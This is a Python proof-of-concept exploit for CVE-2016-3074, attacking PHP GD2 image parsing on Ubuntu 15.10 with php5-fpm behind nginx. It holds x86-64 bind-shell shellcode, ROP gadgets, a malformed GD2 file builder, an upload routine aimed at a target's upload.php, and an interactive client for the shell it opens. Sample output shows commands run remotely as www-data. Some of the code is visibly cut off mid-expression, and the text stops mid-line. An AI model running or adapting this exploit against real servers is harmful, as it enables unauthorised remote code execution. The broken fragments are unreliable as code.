#!/usr/bin/env python2 # # PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and # php5-fpm running behind nginx. # # ,---- # | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php # | [*] this may take a while # | [*] offset 912 of 10000... # | [+] connected to 1.2.3.4:5555 # | id # | uid=33(www-data) gid=33(www-data) groups=33(www-data) # | # | uname -a # | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC # | 2016 x86_64 x86_64 x86_64 GNU/Linux # | # | dpkg -l|grep -E "php5-(fpm|gd)" # | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ... # | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ... # | # | cat upload.php # | # `---- # # - Hans Jerry Illikainen # import sys import os import zlib import socket import threading import argparse import urlparse from struct import pack import requests # non-optimized bindshell from binjitsu # # context(arch="amd64", os="linux") # asm(shellcraft.bindsh(port, "ipv4")) shellcode = [ "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba", "%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7", "\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef", "\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99", "\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56", "\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8", "\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89", "\xe7\x31\xf6\x99\x0f\x05" ] gadgets = [ "\x90" * 40, # [16] # # 0xb6eca2: popfq # 0xb6eca3: callq *%rsp pack(" 0x7f91acf61f46: callq *0x70(%rax) # # (gdb) x/gx 0x432b80 # 0x432b80: 0x0000000000547880 # # (gdb) x/3i 0x0000000000547880 # 0x547880: push %rbx # 0x547881: mov %rdi,%rbx # 0x547884: callq *0x20(%rdi) pack("H", 2), # version pack(">H", 1), # image size (x) pack(">H", 1), # image size (y) pack(">H", 0x40), # chunk size (0x40 <= cs <= 0x80) pack(">H", 2), # format (GD2_FMT_COMPRESSED) pack(">H", 1), # num of chunks wide pack(">H", len(chunks)) # num of chunks high ] colors = [ pack(">B", 0), # trueColorFlag pack(">H", 0), # im->colorsTotal pack(">I", 0), # im->transparent pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i] ] offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8 for data, size in chunks: gd2.append(pack(">I", offset)) # cidx[i].offset gd2.append(pack(">I", size)) # cidx[i].size offset += size return "".join(gd2 + colors + [data for data, size in chunks]) def connect(host, port): addr = socket.gethostbyname(host) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((addr, port)) except socket.error: return print("\n[+] connected to %s:%d" % (host, port)) if os.fork() == 0: while True: try: data = sock.recv(8192) except KeyboardInterrupt: sys.exit("\n[!] receiver aborting") if data == "": sys.exit("[!] receiver aborting") sys.stdout.write(data) else: while True: try: cmd = sys.stdin.readline() except KeyboardInterrupt: sock.close() sys.exit("[!] sender aborting") sock.send(cmd) def send_gd2(url, gd2, code): files = {"file": gd2} try: req = requests.post(url, files=files, timeout=5) code.append(req.status_code) except requests.exceptions.ReadTimeout: pass def get_payload(offset, port): rop = "".join(gadgets) % {"pad": "\x90" * offset} fam_and_port = pack("